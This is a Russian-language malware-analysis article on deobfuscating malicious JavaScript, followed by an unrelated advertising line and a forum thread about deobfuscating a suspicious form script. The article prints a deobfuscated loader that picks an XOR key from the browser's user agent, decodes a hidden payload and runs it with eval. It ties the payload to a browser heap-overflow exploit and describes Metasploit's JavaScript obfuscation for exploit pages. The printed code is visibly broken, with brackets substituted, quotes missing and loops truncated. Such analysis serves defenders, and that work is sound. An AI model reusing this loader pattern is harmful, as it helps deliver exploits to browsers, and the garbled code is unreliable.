Теперь, когда я рассмотрел приемы, использованные в данном обфусцированном JavaScript, мы можем видеть результат их применения. Мы можем деобфусцировать значительную часть кода. Вот что мы получим (я также добавил необходимые комментарии):
function wprcm()
<
var uUHIjMJVFJET = navigator.userAgent.toLowerCase(); /* retrieves the Browser’s User
Agent and
converts it to lowercase. */
if(uUHIjMJVFJET.indexOf(opera) != -1) /* is the browser Opera? */
<
return maThLLZqPmrrFS; // the Random passphrase which is returned depending on the
Browser Type
>
if(uUHIjMJVFJET.indexOf(firefox) != -1) /* is the browser Firefox? */
<
return (loMAYcXfkUsG);
>
if(uUHIjMJVFJET.indexOf(chrome) != -1) /* is the browser Chrome? */
<
return (aFaQW);
>
if(uUHIjMJVFJET.indexOf(safari) != -1) /* is the browser Safari? */
<
return (MjLMl);
>
if(uUHIjMJVFJET.indexOf(msie) != -1) /* is the browser Microsoft Internet Explorer */
<
return (nUHCmZfyQBLAg);
>
if(uUHIjMJVFJET.indexOf(netscape)) != -1) /* is the browser Netscape? */
<
return (IrNFOz);
>
if(uUHIjMJVFJET.indexOf(mozilla/5.0) != -1) /* Is the browser Mozilla? */
<
return VjtxHZHGKWT;
>
return HEeeeYBsTMItYY; /* If none of the above User Agents were detected then return this
value */
>
function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
<
var UMa = [];
var VfoamYteBIveYp = «»;
while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)
<
pOtdvHbBav += pOtdvHbBav;
>
for(i = 1; i <
UMa[String.fromCharCode(i)] = i; /* ASCII Table */
>
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
<
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
>
return VfoamYteBIveYp; /* This returns the XOR decoded String to the eval function to
execute */
> eval(pjSkrbvs(unescape((String.fromCharCode(37,117,48,48,48,97. ))), wprcm()));
На основании написанного выше мы запишем логику алгоритма:
Данная функция определяет user-agent браузера жертвы. Она проверяет значение user-agent и, в зависимости от типа браузера, возвращает случайно сгенерированный пароль.
Вызов главной функции в данном обфусцированном JavaScript находится в нижней его части:
Это декодирующая функция, pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
Функция принимает на входе два аргумента.
FSzQjtHkbuMDLW: JavaScript, закодированный с помощью XOR.
pOtdvHbBav: случайная парольная фраза, которая используется для декодирования.
Сначала парольная фраза расширяется до длины закодированного JavaScript. Таблица ASCII-кодов содержится в массиве UMa, который понадобится позднее в процессе декодирования.
XOR-декодирование происходит в данном цикле FOR.
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
<
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
>
Цикл выполняет операцию XOR между ASCII-значением каждого символа из закодированной полезной начинки JavaScript и соответствующим символом случайной парольной фразы. Результат данной операции затем преобразуется из ASCII-кода в символ с помощью функции String.fromCharCode().
В конце работы данной функции переменная VfoamYteBIveYp содержит полностью декодированный JavaScript, который передается в вызывающую функцию eval().
Я поступлю так же, как и в предыдущем разделе. Чтобы раскодировать полезную нагрузку, я использую определенные блоки исходного обфусцированного кода, которые помогут при декодировании. В данном случае я сформирую новый HTML-файл, показанный ниже:
XOR Decoder
Поскольку я использую Firefox, я взял парольную фразу «loMAYcXfkUsG», соответствующую значению user-agent для Firefox.
Как только я открою данную HTML-страницу в Firefox, я получу на выходе декодированный код. Он содержит еще один уровень обфускации.
Здесь, однако, использованы те же приемы, что и прежде, поэтому я опущу подробности.
Применив еще раз те же методы, мы получим деобфусцированный JavaScript, показанный ниже:
Данный JavaScript эксплуатирует уязвимость Remote Heap Buffer Overflow (удаленное переполнение буфера кучи) в браузере жертвы.
CVE данной уязвимости: CVE-2010-3765
Приведенный выше код передается функции eval(), которая запустит его в контексте браузера.
Обфускация JS во фреймворке Метасплоит
Фреймворк Метасплоит содержит богатую библиотеку эксплоитов. Касательно обфускации JavaScript в данном фреймворке нас будет интересовать библиотека браузерных эксплоитов.
Большинство браузерных уязвимостей эксплуатируются через JavaScript. В порядке вещей видеть JavaScript, используемый для создания распыляемой по куче полезной нагрузки, состоящей из шелл-кода и последовательности NOP-ов.
JavaScript также используется для эксплуатации уязвимости, позволяющей распылить данный шелл-код по пространству кучи.
Поскольку JS используется в качестве вектора атаки в браузерных эксплоитах, возникает необходимость обнаружения вредоносного JS-кода в веб-страницах. Такой способностью обладают антивирусные сканеры.
Тем не менее, возможности антивирусного ПО ограничены, как и возможности онлайновых JS-распаковщиков. Это было показано во втором и третьем разделе.
Мы рассмотрим поддержку обфускации JS в Метасплоит.
Сначала давайте посмотрим количество браузерных эксплоитов в последней версии фреймворка на момент написания данной статьи.
Итак, всего 162 модуля с браузерными эксплоитами, из которых 147 используют JavaScript для эксплуатации уязвимости в браузере или для манипуляции с памятью браузера.
Теперь давайте возьмем один из браузерных эксплоитов в качестве примера, чтобы понять, какие возможности по обфускации JS нам доступны.
Я рассмотрю следующий модуль: ms11_003_ie_css_import.
Он эксплуатирует уязвимость «повреждение памяти» в HTML-движке MS Internet Explorer. Эта уязвимость относится к классу «использование после освобождения», то есть, возникает, когда осуществляется доступ к ранее удаленному объекту C++. Специфическим для данного эксплоита требованием является наличие в веб-странице рекурсивных CSS-импортов.
Я покажу фрагменты модуля, относящиеся к JavaScript и то, как JavaScript используется для построения распыляемого по куче кода, а позднее обфусцируется.
Модуль эксплоита предоставляет опцию обфускации JavaScript.
В данном фрагменте JavaScript используется для манипуляции памятью IE.
#(special_sauce> относится к полезной нагрузке, сформированной скриптом.
Перед выделенным блоком мы можем видеть, что имя js_function генерируется случайно с помощью функции rand_text_alpha.
Результирующий JavaScript хранится в метке-заполнителе custom_js.
Данный фрагмент использует библиотеку ::Rex::Exploitation::ObfuscateJS.new для обфускации сформированного ранее JavaScript, если опции OBFUSCATE в модуле эксплоита было присвоено значение True.
Результирующий обфусцированный JS хранится в variable js.
Итоговая вредоносная веб-страница конструируется с помощью сформированного ранее обфусцированного JavaScript.
# -> представляет обфусцированный JavaScript
# -> представляет случайно сгенерированное имя JS-функции, присутствующей внутри #. Она вызвается в момент загрузки браузером веб-страницы с помощью события onload.
Вот какие значения имеют опции при загрузке эксплоита в консоль фреймворка, msfconsole. Я выделил опцию, отвечающую за обфускацию. По умолчанию она имеет значение true.
Заключение
После прочтения и понимания подхода, представленного в данном документе, вы, надеюсь, сможете бороться с существующими методами обфускации, использующимися во вредоносных JS, а также сможете расширять этот подход для борьбы с новыми приемами.
Ссылки
Устали от того, что Интернет знает о вас все? Присоединяйтесь к нам и станьте невидимыми!
Как деобфусцировать js код?
Можно как-нибудь деобфусцировать данный код — jsfiddle ? Он из себя представляет смесь jq-плагина placeholder и каких-то других функций(функции).
- Вопрос задан более трёх лет назад
- 5217 просмотров
Комментировать
Решения вопроса 1
Для начала поменяйте eval на document.write, alert или console.log().
Вы получите пол файла.
В конце, где идут скобочные последовательности в консоли выполните строки в консоли без последних скобок (т.е. в конце без вызова «();») и вы получите код функции. Дальше все объединить и восстанавливать имена переменных.
Ответ написан более трёх лет назад
Нравится 2 4 комментария
Хотя я посмотрел это и первая часть есть например сдесь
www.xiper.net/examples/js-plugins/html5-and-css3/p.
И соответственно нормальная
www.xiper.net/examples/js-plugins/html5-and-css3/p.
А вот вторая часть со скобочной последовательностью вызывает интерес, поскольку не связана с первой частью и добавляет скрытые поля к форме с интригующем названием класса «important» и зависимостью от какого-то таймера. Откуда оно у вас?
Как то так
jsfiddle.net/Gw3Y7
Никита Гущин @iNikNik Автор вопроса
@maxaon пытался средствами php и curla автоматизировать действие, но наткнулся на то, что некий JS,замаскированный под плагин вставляет в форму ключ